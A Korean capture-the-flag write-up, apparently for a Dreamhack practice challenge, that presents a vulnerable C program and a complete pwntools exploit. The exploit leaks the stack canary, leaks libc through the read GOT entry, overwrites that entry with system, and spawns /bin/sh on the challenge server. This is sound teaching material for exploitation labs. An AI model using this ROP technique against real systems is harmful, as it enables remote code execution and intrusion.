예제 c 파일
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
첫번째 입력에서 카나리를 얻고, 두번째 입력에서 ROP를 실행한다.
우선
checksec을 통해, 보호 기법을 파악한다.
Canary, NX가 적용되어 있다. (ASLR 포함)
순서
1. canary leak
2. read 함수의 GOT 가져오기puts(read_got)
3. read 함수의 GOT에 system 함수의 주소 덮어쓰기read(0,read_got,0x10)
4. system(read) 함수 실행read("/bin/bash")
- base
from pwn import * p=remote("host3.dreamhack.games", 12598) e=ELF("./rop") libc=ELF("./libc-2.27.so") # 동봉된 libc 파일 (접속 서버는 2.27 버전을 이용중) context.arch="amd64"
- canary leak
buf=b'A'*0x39 # 더미 데이터 존재하므로 총 0x39바이트 전송 p.sendafter(b'Buf: ', buf) p.recvuntil(buf) canary=u64(b'\x00'+p.recvn(7)) # canary 획득
- payload 작성
read 함수의 GOT 가져오기read_got=e.got['read'] # read 함수 GOT주소 read_plt=e.plt['read'] # read 함수 PLT주소 puts_plt=e.plt['puts'] # puts 함수 PLT주소 pop_rdi=0x4007f3 # get from ROPgadget pop_rsi_r15=0x4007f1 # get from ROPgadget payload=b'A'*0x38+p64(canary)+b'B'*0x8 # buf+dummy+canary+SFP payload+=p64(pop_rdi)+p64(read_got)+p64(puts_plt) # puts(read_got)read 함수의 GOT에 system 함수의 주소를 덮어쓰기
payload+=p64(pop_rdi)+p64(0) payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0) payload+=p64(read_plt) # read(0, read_got, rdx) stdin, buf=read_got, size=rdxsystem 함수 실행
payload+=p64(pop_rdi)+p64(read_got+0x8)+p64(read_plt) # system("/bin/sh")
- payload 전송, system 함수 주소 계산, 전송
p.sendafter("Buf: ", payload) read=u64(p.recvn(6)+b'\x00'*2) # from puts, got 주소는 6바이트 lb=read-libc.symbols['read'] # offset system=lb+libc.symbols['system'] # system 함수 주소 계산 p.send(p64(system)+b"/bin/sh\x00") # from read, system 함수, /bin/sh 문자열 전송 p.interactive() # 셸 획득